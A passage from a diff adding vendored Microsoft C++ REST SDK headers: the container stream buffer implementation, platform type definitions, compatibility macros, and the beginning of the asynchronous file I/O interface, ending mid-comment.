||||||
|
return static_cast<pos_type>(traits::eof());
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Seeks to a position given by a relative offset.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="offset">The relative position to seek to</param>
|
||||||
|
/// <param name="way">The starting point (beginning, end, current) for the seek.</param>
|
||||||
|
/// <param name="mode">The I/O direction to seek (see remarks)</param>
|
||||||
|
/// <returns>The position. EOF if the operation fails.</returns>
|
||||||
|
/// <remarks>Some streams may have separate write and read cursors.
|
||||||
|
/// For such streams, the mode parameter defines whether to move the read or the write cursor.</remarks>
|
||||||
|
virtual pos_type seekoff(off_type offset, std::ios_base::seekdir way, std::ios_base::openmode mode)
|
||||||
|
{
|
||||||
|
pos_type beg = 0;
|
||||||
|
pos_type cur = static_cast<pos_type>(m_current_position);
|
||||||
|
pos_type end = static_cast<pos_type>(m_data.size());
|
||||||
|
|
||||||
|
switch (way)
|
||||||
|
{
|
||||||
|
case std::ios_base::beg: return seekpos(beg + offset, mode);
|
||||||
|
|
||||||
|
case std::ios_base::cur: return seekpos(cur + offset, mode);
|
||||||
|
|
||||||
|
case std::ios_base::end: return seekpos(end + offset, mode);
|
||||||
|
|
||||||
|
default: return static_cast<pos_type>(traits::eof());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
template<typename _CollectionType1>
|
||||||
|
friend class streams::container_buffer;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Constructor
|
||||||
|
/// </summary>
|
||||||
|
basic_container_buffer(std::ios_base::openmode mode)
|
||||||
|
: streambuf_state_manager<typename _CollectionType::value_type>(mode), m_current_position(0)
|
||||||
|
{
|
||||||
|
validate_mode(mode);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Constructor
|
||||||
|
/// </summary>
|
||||||
|
basic_container_buffer(_CollectionType data, std::ios_base::openmode mode)
|
||||||
|
: streambuf_state_manager<typename _CollectionType::value_type>(mode)
|
||||||
|
, m_data(std::move(data))
|
||||||
|
, m_current_position((mode & std::ios_base::in) ? 0 : m_data.size())
|
||||||
|
{
|
||||||
|
validate_mode(mode);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void validate_mode(std::ios_base::openmode mode)
|
||||||
|
{
|
||||||
|
// Disallow simultaneous use of the stream buffer for writing and reading.
|
||||||
|
if ((mode & std::ios_base::in) && (mode & std::ios_base::out))
|
||||||
|
throw std::invalid_argument("this combination of modes on container stream not supported");
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Determine if the request can be satisfied.
|
||||||
|
/// </summary>
|
||||||
|
bool can_satisfy(size_t)
|
||||||
|
{
|
||||||
|
// We can always satisfy a read, at least partially, unless the
|
||||||
|
// read position is at the very end of the buffer.
|
||||||
|
return (in_avail() > 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Reads a byte from the stream and returns it as int_type.
|
||||||
|
/// Note: This routine shall only be called if can_satisfy() returned true.
|
||||||
|
/// </summary>
|
||||||
|
int_type read_byte(bool advance = true)
|
||||||
|
{
|
||||||
|
_CharType value;
|
||||||
|
auto read_size = this->read(&value, 1, advance);
|
||||||
|
return read_size == 1 ? static_cast<int_type>(value) : traits::eof();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Reads up to count characters into ptr and returns the count of characters copied.
|
||||||
|
/// The return value (actual characters copied) could be <= count.
|
||||||
|
/// Note: This routine shall only be called if can_satisfy() returned true.
|
||||||
|
/// </summary>
|
||||||
|
size_t read(_Out_writes_(count) _CharType* ptr, _In_ size_t count, bool advance = true)
|
||||||
|
{
|
||||||
|
if (!can_satisfy(count)) return 0;
|
||||||
|
|
||||||
|
msl::safeint3::SafeInt<size_t> request_size(count);
|
||||||
|
msl::safeint3::SafeInt<size_t> read_size = request_size.Min(in_avail());
|
||||||
|
|
||||||
|
size_t newPos = m_current_position + read_size;
|
||||||
|
|
||||||
|
auto readBegin = std::begin(m_data) + m_current_position;
|
||||||
|
auto readEnd = std::begin(m_data) + newPos;
|
||||||
|
|
||||||
|
#if defined(_ITERATOR_DEBUG_LEVEL) && _ITERATOR_DEBUG_LEVEL != 0
|
||||||
|
// Avoid warning C4996: Use checked iterators under SECURE_SCL
|
||||||
|
std::copy(readBegin, readEnd, stdext::checked_array_iterator<_CharType*>(ptr, count));
|
||||||
|
#else
|
||||||
|
std::copy(readBegin, readEnd, ptr);
|
||||||
|
#endif // _WIN32
|
||||||
|
|
||||||
|
if (advance)
|
||||||
|
{
|
||||||
|
update_current_position(newPos);
|
||||||
|
}
|
||||||
|
|
||||||
|
return (size_t)read_size;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Write count characters from the ptr into the stream buffer
|
||||||
|
/// </summary>
|
||||||
|
size_t write(const _CharType* ptr, size_t count)
|
||||||
|
{
|
||||||
|
if (!this->can_write() || (count == 0)) return 0;
|
||||||
|
|
||||||
|
auto newSize = m_current_position + count;
|
||||||
|
|
||||||
|
// Allocate space
|
||||||
|
resize_for_write(newSize);
|
||||||
|
|
||||||
|
// Copy the data
|
||||||
|
std::copy(ptr, ptr + count, std::begin(m_data) + m_current_position);
|
||||||
|
|
||||||
|
// Update write head and satisfy pending reads if any
|
||||||
|
update_current_position(newSize);
|
||||||
|
|
||||||
|
return count;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Resize the underlying container to match the new write head
|
||||||
|
/// </summary>
|
||||||
|
void resize_for_write(size_t newPos)
|
||||||
|
{
|
||||||
|
// Resize the container if required
|
||||||
|
if (newPos > m_data.size())
|
||||||
|
{
|
||||||
|
m_data.resize(newPos);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Updates the write head to the new position
|
||||||
|
/// </summary>
|
||||||
|
void update_current_position(size_t newPos)
|
||||||
|
{
|
||||||
|
// The new write head
|
||||||
|
m_current_position = newPos;
|
||||||
|
_ASSERTE(m_current_position <= m_data.size());
|
||||||
|
}
|
||||||
|
|
||||||
|
// The actual data store
|
||||||
|
_CollectionType m_data;
|
||||||
|
|
||||||
|
// Read/write head
|
||||||
|
size_t m_current_position;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The basic_container_buffer class serves as a memory-based steam buffer that supports writing or reading
|
||||||
|
/// sequences of characters. Note that it cannot be used as a consumer producer buffer.
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="_CollectionType">
|
||||||
|
/// The type of the container.
|
||||||
|
/// </typeparam>
|
||||||
|
/// <remarks>
|
||||||
|
/// This is a reference-counted version of <c>basic_container_buffer</c>.
|
||||||
|
/// </remarks>
|
||||||
|
template<typename _CollectionType>
|
||||||
|
class container_buffer : public streambuf<typename _CollectionType::value_type>
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
typedef typename _CollectionType::value_type char_type;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a container_buffer given a collection, copying its data into the buffer.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="data">The collection that is the starting point for the buffer</param>
|
||||||
|
/// <param name="mode">The I/O mode that the buffer should use (in / out)</param>
|
||||||
|
container_buffer(_CollectionType data, std::ios_base::openmode mode = std::ios_base::in)
|
||||||
|
: streambuf<typename _CollectionType::value_type>(
|
||||||
|
std::shared_ptr<details::basic_container_buffer<_CollectionType>>(
|
||||||
|
new streams::details::basic_container_buffer<_CollectionType>(std::move(data), mode)))
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a container_buffer starting from an empty collection.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="mode">The I/O mode that the buffer should use (in / out)</param>
|
||||||
|
container_buffer(std::ios_base::openmode mode = std::ios_base::out)
|
||||||
|
: streambuf<typename _CollectionType::value_type>(
|
||||||
|
std::shared_ptr<details::basic_container_buffer<_CollectionType>>(
|
||||||
|
new details::basic_container_buffer<_CollectionType>(mode)))
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
_CollectionType& collection() const
|
||||||
|
{
|
||||||
|
auto listBuf = static_cast<details::basic_container_buffer<_CollectionType>*>(this->get_base().get());
|
||||||
|
return listBuf->collection();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// A static class to allow users to create input and out streams based off STL
|
||||||
|
/// collections. The sole purpose of this class to avoid users from having to know
|
||||||
|
/// anything about stream buffers.
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="_CollectionType">The type of the STL collection.</typeparam>
|
||||||
|
template<typename _CollectionType>
|
||||||
|
class container_stream
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
typedef typename _CollectionType::value_type char_type;
|
||||||
|
typedef container_buffer<_CollectionType> buffer_type;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates an input stream given an STL container.
|
||||||
|
/// </summary>
|
||||||
|
/// </param name="data">STL container to back the input stream.</param>
|
||||||
|
/// <returns>An input stream.</returns>
|
||||||
|
static concurrency::streams::basic_istream<char_type> open_istream(_CollectionType data)
|
||||||
|
{
|
||||||
|
return concurrency::streams::basic_istream<char_type>(buffer_type(std::move(data), std::ios_base::in));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates an output stream using an STL container as the storage.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>An output stream.</returns>
|
||||||
|
static concurrency::streams::basic_ostream<char_type> open_ostream()
|
||||||
|
{
|
||||||
|
return concurrency::streams::basic_ostream<char_type>(buffer_type(std::ios_base::out));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The stringstream allows an input stream to be constructed from std::string or std::wstring
|
||||||
|
/// For output streams the underlying string container could be retrieved using <c>buf->collection().</c>
|
||||||
|
/// </summary>
|
||||||
|
typedef container_stream<std::basic_string<char>> stringstream;
|
||||||
|
typedef stringstream::buffer_type stringstreambuf;
|
||||||
|
|
||||||
|
typedef container_stream<utility::string_t> wstringstream;
|
||||||
|
typedef wstringstream::buffer_type wstringstreambuf;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The <c>bytestream</c> is a static class that allows an input stream to be constructed from any STL container.
|
||||||
|
/// </summary>
|
||||||
|
class bytestream
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a single byte character input stream given an STL container.
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="_CollectionType">The type of the STL collection.</typeparam>
|
||||||
|
/// <param name="data">STL container to back the input stream.</param>
|
||||||
|
/// <returns>An single byte character input stream.</returns>
|
||||||
|
template<typename _CollectionType>
|
||||||
|
static concurrency::streams::istream open_istream(_CollectionType data)
|
||||||
|
{
|
||||||
|
return concurrency::streams::istream(
|
||||||
|
streams::container_buffer<_CollectionType>(std::move(data), std::ios_base::in));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a single byte character output stream using an STL container as storage.
|
||||||
|
/// </summary>
|
||||||
|
/// <typeparam name="_CollectionType">The type of the STL collection.</typeparam>
|
||||||
|
/// <returns>A single byte character output stream.</returns>
|
||||||
|
template<typename _CollectionType>
|
||||||
|
static concurrency::streams::ostream open_ostream()
|
||||||
|
{
|
||||||
|
return concurrency::streams::ostream(streams::container_buffer<_CollectionType>());
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace streams
|
||||||
|
} // namespace Concurrency
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,131 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* Platform-dependent type definitions
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/cpprest_compat.h"
|
||||||
|
#include <fstream>
|
||||||
|
#include <iostream>
|
||||||
|
#include <sstream>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
#ifndef _WIN32
|
||||||
|
#ifndef __STDC_LIMIT_MACROS
|
||||||
|
#define __STDC_LIMIT_MACROS
|
||||||
|
#endif
|
||||||
|
#include <stdint.h>
|
||||||
|
#else
|
||||||
|
#include <cstdint>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/SafeInt3.hpp"
|
||||||
|
|
||||||
|
namespace utility
|
||||||
|
{
|
||||||
|
#ifdef _WIN32
|
||||||
|
#define _UTF16_STRINGS
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// We should be using a 64-bit size type for most situations that do
|
||||||
|
// not involve specifying the size of a memory allocation or buffer.
|
||||||
|
typedef uint64_t size64_t;
|
||||||
|
|
||||||
|
#ifndef _WIN32
|
||||||
|
typedef uint32_t HRESULT; // Needed for PPLX
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef _UTF16_STRINGS
|
||||||
|
//
|
||||||
|
// On Windows, all strings are wide
|
||||||
|
//
|
||||||
|
typedef wchar_t char_t;
|
||||||
|
typedef std::wstring string_t;
|
||||||
|
#define _XPLATSTR(x) L##x
|
||||||
|
typedef std::wostringstream ostringstream_t;
|
||||||
|
typedef std::wofstream ofstream_t;
|
||||||
|
typedef std::wostream ostream_t;
|
||||||
|
typedef std::wistream istream_t;
|
||||||
|
typedef std::wifstream ifstream_t;
|
||||||
|
typedef std::wistringstream istringstream_t;
|
||||||
|
typedef std::wstringstream stringstream_t;
|
||||||
|
#define ucout std::wcout
|
||||||
|
#define ucin std::wcin
|
||||||
|
#define ucerr std::wcerr
|
||||||
|
#else
|
||||||
|
//
|
||||||
|
// On POSIX platforms, all strings are narrow
|
||||||
|
//
|
||||||
|
typedef char char_t;
|
||||||
|
typedef std::string string_t;
|
||||||
|
#define _XPLATSTR(x) x
|
||||||
|
typedef std::ostringstream ostringstream_t;
|
||||||
|
typedef std::ofstream ofstream_t;
|
||||||
|
typedef std::ostream ostream_t;
|
||||||
|
typedef std::istream istream_t;
|
||||||
|
typedef std::ifstream ifstream_t;
|
||||||
|
typedef std::istringstream istringstream_t;
|
||||||
|
typedef std::stringstream stringstream_t;
|
||||||
|
#define ucout std::cout
|
||||||
|
#define ucin std::cin
|
||||||
|
#define ucerr std::cerr
|
||||||
|
#endif // endif _UTF16_STRINGS
|
||||||
|
|
||||||
|
#ifndef _TURN_OFF_PLATFORM_STRING
|
||||||
|
// The 'U' macro can be used to create a string or character literal of the platform type, i.e. utility::char_t.
|
||||||
|
// If you are using a library causing conflicts with 'U' macro, it can be turned off by defining the macro
|
||||||
|
// '_TURN_OFF_PLATFORM_STRING' before including the C++ REST SDK header files, and e.g. use '_XPLATSTR' instead.
|
||||||
|
#define U(x) _XPLATSTR(x)
|
||||||
|
#endif // !_TURN_OFF_PLATFORM_STRING
|
||||||
|
|
||||||
|
} // namespace utility
|
||||||
|
|
||||||
|
typedef char utf8char;
|
||||||
|
typedef std::string utf8string;
|
||||||
|
typedef std::stringstream utf8stringstream;
|
||||||
|
typedef std::ostringstream utf8ostringstream;
|
||||||
|
typedef std::ostream utf8ostream;
|
||||||
|
typedef std::istream utf8istream;
|
||||||
|
typedef std::istringstream utf8istringstream;
|
||||||
|
|
||||||
|
#ifdef _UTF16_STRINGS
|
||||||
|
typedef wchar_t utf16char;
|
||||||
|
typedef std::wstring utf16string;
|
||||||
|
typedef std::wstringstream utf16stringstream;
|
||||||
|
typedef std::wostringstream utf16ostringstream;
|
||||||
|
typedef std::wostream utf16ostream;
|
||||||
|
typedef std::wistream utf16istream;
|
||||||
|
typedef std::wistringstream utf16istringstream;
|
||||||
|
#else
|
||||||
|
typedef char16_t utf16char;
|
||||||
|
typedef std::u16string utf16string;
|
||||||
|
typedef std::basic_stringstream<utf16char> utf16stringstream;
|
||||||
|
typedef std::basic_ostringstream<utf16char> utf16ostringstream;
|
||||||
|
typedef std::basic_ostream<utf16char> utf16ostream;
|
||||||
|
typedef std::basic_istream<utf16char> utf16istream;
|
||||||
|
typedef std::basic_istringstream<utf16char> utf16istringstream;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if defined(_WIN32)
|
||||||
|
// Include on everything except Windows Desktop ARM, unless explicitly excluded.
|
||||||
|
#if !defined(CPPREST_EXCLUDE_WEBSOCKETS)
|
||||||
|
#if defined(WINAPI_FAMILY)
|
||||||
|
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && defined(_M_ARM)
|
||||||
|
#define CPPREST_EXCLUDE_WEBSOCKETS
|
||||||
|
#endif
|
||||||
|
#else
|
||||||
|
#if defined(_M_ARM)
|
||||||
|
#define CPPREST_EXCLUDE_WEBSOCKETS
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
#endif
|
|
@ -0,0 +1,89 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* Standard macros and definitions.
|
||||||
|
* This header has minimal dependency on windows headers and is safe for use in the public API
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#if defined(_WIN32)
|
||||||
|
|
||||||
|
#if _MSC_VER >= 1900
|
||||||
|
#define CPPREST_NOEXCEPT noexcept
|
||||||
|
#define CPPREST_CONSTEXPR constexpr
|
||||||
|
#else
|
||||||
|
#define CPPREST_NOEXCEPT
|
||||||
|
#define CPPREST_CONSTEXPR const
|
||||||
|
#endif // _MSC_VER >= 1900
|
||||||
|
|
||||||
|
#define CASABLANCA_UNREFERENCED_PARAMETER(x) (x)
|
||||||
|
|
||||||
|
#include <sal.h>
|
||||||
|
|
||||||
|
#else // ^^^ _WIN32 ^^^ // vvv !_WIN32 vvv
|
||||||
|
|
||||||
|
#define __declspec(x) __attribute__((x))
|
||||||
|
#define dllimport
|
||||||
|
#define novtable /* no novtable equivalent */
|
||||||
|
#define __assume(x) \
|
||||||
|
do \
|
||||||
|
{ \
|
||||||
|
if (!(x)) __builtin_unreachable(); \
|
||||||
|
} while (false)
|
||||||
|
#define CASABLANCA_UNREFERENCED_PARAMETER(x) (void)x
|
||||||
|
#define CPPREST_NOEXCEPT noexcept
|
||||||
|
#define CPPREST_CONSTEXPR constexpr
|
||||||
|
|
||||||
|
#include <assert.h>
|
||||||
|
#define _ASSERTE(x) assert(x)
|
||||||
|
|
||||||
|
// No SAL on non Windows platforms
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/nosal.h"
|
||||||
|
|
||||||
|
#if !defined(__cdecl)
|
||||||
|
#if defined(cdecl)
|
||||||
|
#define __cdecl __attribute__((cdecl))
|
||||||
|
#else // ^^^ defined cdecl ^^^ // vvv !defined cdecl vvv
|
||||||
|
#define __cdecl
|
||||||
|
#endif // defined cdecl
|
||||||
|
#endif // not defined __cdecl
|
||||||
|
|
||||||
|
#if defined(__ANDROID__)
|
||||||
|
// This is needed to disable the use of __thread inside the boost library.
|
||||||
|
// Android does not support thread local storage -- if boost is included
|
||||||
|
// without this macro defined, it will create references to __tls_get_addr
|
||||||
|
// which (while able to link) will not be available at runtime and prevent
|
||||||
|
// the .so from loading.
|
||||||
|
#if not defined BOOST_ASIO_DISABLE_THREAD_KEYWORD_EXTENSION
|
||||||
|
#define BOOST_ASIO_DISABLE_THREAD_KEYWORD_EXTENSION
|
||||||
|
#endif // not defined BOOST_ASIO_DISABLE_THREAD_KEYWORD_EXTENSION
|
||||||
|
#endif // defined(__ANDROID__)
|
||||||
|
|
||||||
|
#ifdef __clang__
|
||||||
|
#include <cstdio>
|
||||||
|
#endif // __clang__
|
||||||
|
#endif // _WIN32
|
||||||
|
|
||||||
|
#ifdef _NO_ASYNCRTIMP
|
||||||
|
#define _ASYNCRTIMP
|
||||||
|
#else // ^^^ _NO_ASYNCRTIMP ^^^ // vvv !_NO_ASYNCRTIMP vvv
|
||||||
|
#ifdef _ASYNCRT_EXPORT
|
||||||
|
#define _ASYNCRTIMP __declspec(dllexport)
|
||||||
|
#else // ^^^ _ASYNCRT_EXPORT ^^^ // vvv !_ASYNCRT_EXPORT vvv
|
||||||
|
#define _ASYNCRTIMP __declspec(dllimport)
|
||||||
|
#endif // _ASYNCRT_EXPORT
|
||||||
|
#endif // _NO_ASYNCRTIMP
|
||||||
|
|
||||||
|
#ifdef CASABLANCA_DEPRECATION_NO_WARNINGS
|
||||||
|
#define CASABLANCA_DEPRECATED(x)
|
||||||
|
#else
|
||||||
|
#define CASABLANCA_DEPRECATED(x) __declspec(deprecated(x))
|
||||||
|
#endif // CASABLANCA_DEPRECATION_NO_WARNINGS
|
|
@ -0,0 +1,220 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* fileio.h
|
||||||
|
*
|
||||||
|
* Asynchronous I/O: stream buffer implementation details
|
||||||
|
*
|
||||||
|
* We're going to some lengths to avoid exporting C++ class member functions and implementation details across
|
||||||
|
* module boundaries, and the factoring requires that we keep the implementation details away from the main header
|
||||||
|
* files. The supporting functions, which are in this file, use C-like signatures to avoid as many issues as
|
||||||
|
* possible.
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
#include <cstdint>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/basic_types.h"
|
||||||
|
#include "Common/CppRestSdk/include/pplx/pplxtasks.h"
|
||||||
|
|
||||||
|
namespace Concurrency
|
||||||
|
{
|
||||||
|
namespace streams
|
||||||
|
{
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// A record containing the essential private data members of a file stream,
|
||||||
|
/// in particular the parts that need to be shared between the public header
|
||||||
|
/// file and the implementation in the implementation file.
|
||||||
|
/// </summary>
|
||||||
|
struct _file_info
|
||||||
|
{
|
||||||
|
_ASYNCRTIMP _file_info(std::ios_base::openmode mode, size_t buffer_size)
|
||||||
|
: m_rdpos(0)
|
||||||
|
, m_wrpos(0)
|
||||||
|
, m_atend(false)
|
||||||
|
, m_buffer_size(buffer_size)
|
||||||
|
, m_buffer(nullptr)
|
||||||
|
, m_bufoff(0)
|
||||||
|
, m_bufsize(0)
|
||||||
|
, m_buffill(0)
|
||||||
|
, m_mode(mode)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
// Positional data
|
||||||
|
|
||||||
|
size_t m_rdpos;
|
||||||
|
size_t m_wrpos;
|
||||||
|
bool m_atend;
|
||||||
|
|
||||||
|
// Input buffer
|
||||||
|
|
||||||
|
size_t m_buffer_size; // The intended size of the buffer to read into.
|
||||||
|
char* m_buffer;
|
||||||
|
|
||||||
|
size_t m_bufoff; // File position that the start of the buffer represents.
|
||||||
|
msl::safeint3::SafeInt<size_t> m_bufsize; // Buffer allocated size, as actually allocated.
|
||||||
|
size_t m_buffill; // Amount of file data actually in the buffer
|
||||||
|
|
||||||
|
std::ios_base::openmode m_mode;
|
||||||
|
|
||||||
|
pplx::extensibility::recursive_lock_t m_lock;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// This interface provides the necessary callbacks for completion events.
|
||||||
|
/// </summary>
|
||||||
|
class _filestream_callback
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
virtual void on_opened(_In_ details::_file_info*) {}
|
||||||
|
virtual void on_closed() {}
|
||||||
|
virtual void on_error(const std::exception_ptr&) {}
|
||||||
|
virtual void on_completed(size_t) {}
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual ~_filestream_callback() {}
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
} // namespace streams
|
||||||
|
} // namespace Concurrency
|
||||||
|
|
||||||
|
extern "C"
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Open a file and create a streambuf instance to represent it.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="callback">A pointer to the callback interface to invoke when the file has been opened.</param>
|
||||||
|
/// <param name="filename">The name of the file to open</param>
|
||||||
|
/// <param name="mode">A creation mode for the stream buffer</param>
|
||||||
|
/// <param name="prot">A file protection mode to use for the file stream (not supported on Linux)</param>
|
||||||
|
/// <returns><c>true</c> if the opening operation could be initiated, <c>false</c> otherwise.</returns>
|
||||||
|
/// <remarks>
|
||||||
|
/// True does not signal that the file will eventually be successfully opened, just that the process was started.
|
||||||
|
/// </remarks>
|
||||||
|
#if !defined(__cplusplus_winrt)
|
||||||
|
_ASYNCRTIMP bool __cdecl _open_fsb_str(_In_ concurrency::streams::details::_filestream_callback* callback,
|
||||||
|
const utility::char_t* filename,
|
||||||
|
std::ios_base::openmode mode,
|
||||||
|
int prot);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Create a streambuf instance to represent a WinRT file.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="callback">A pointer to the callback interface to invoke when the file has been opened.</param>
|
||||||
|
/// <param name="file">The file object</param>
|
||||||
|
/// <param name="mode">A creation mode for the stream buffer</param>
|
||||||
|
/// <returns><c>true</c> if the opening operation could be initiated, <c>false</c> otherwise.</returns>
|
||||||
|
/// <remarks>
|
||||||
|
/// True does not signal that the file will eventually be successfully opened, just that the process was started.
|
||||||
|
/// This is only available for WinRT.
|
||||||
|
/// </remarks>
|
||||||
|
#if defined(__cplusplus_winrt)
|
||||||
|
_ASYNCRTIMP bool __cdecl _open_fsb_stf_str(_In_ concurrency::streams::details::_filestream_callback* callback,
|
||||||
|
::Windows::Storage::StorageFile ^ file,
|
||||||
|
std::ios_base::openmode mode,
|
||||||
|
int prot);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Close a file stream buffer.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="info">The file info record of the file</param>
|
||||||
|
/// <param name="callback">A pointer to the callback interface to invoke when the file has been opened.</param>
|
||||||
|
/// <returns><c>true</c> if the closing operation could be initiated, <c>false</c> otherwise.</returns>
|
||||||
|
/// <remarks>
|
||||||
|
/// True does not signal that the file will eventually be successfully closed, just that the process was started.
|
||||||
|
/// </remarks>
|
||||||
|
_ASYNCRTIMP bool __cdecl _close_fsb_nolock(_In_ concurrency::streams::details::_file_info** info,
|
||||||
|
_In_ concurrency::streams::details::_filestream_callback* callback);
|
||||||
|
_ASYNCRTIMP bool __cdecl _close_fsb(_In_ concurrency::streams::details::_file_info** info,
|
||||||
|
_In_ concurrency::streams::details::_filestream_callback* callback);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Write data from a buffer into the file stream.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="info">The file info record of the file</param>
|
||||||
|
/// <param name="callback">A pointer to the callback interface to invoke when the write request is
|
||||||
|
/// completed.</param> <param name="ptr">A pointer to a buffer where the data should be placed</param> <param
|
||||||
|
/// name="count">The size (in characters) of the buffer</param> <returns>0 if the read request is still outstanding,
|
||||||
|
/// -1 if the request failed, otherwise the size of the data read into the buffer</returns>
|
||||||
|
_ASYNCRTIMP size_t __cdecl _putn_fsb(_In_ concurrency::streams::details::_file_info* info,
|
||||||
|
_In_ concurrency::streams::details::_filestream_callback* callback,
|
||||||
|
const void* ptr,
|
||||||
|
size_t count,
|
||||||
|
size_t char_size);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Read data from a file stream into a buffer
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="info">The file info record of the file</param>
|
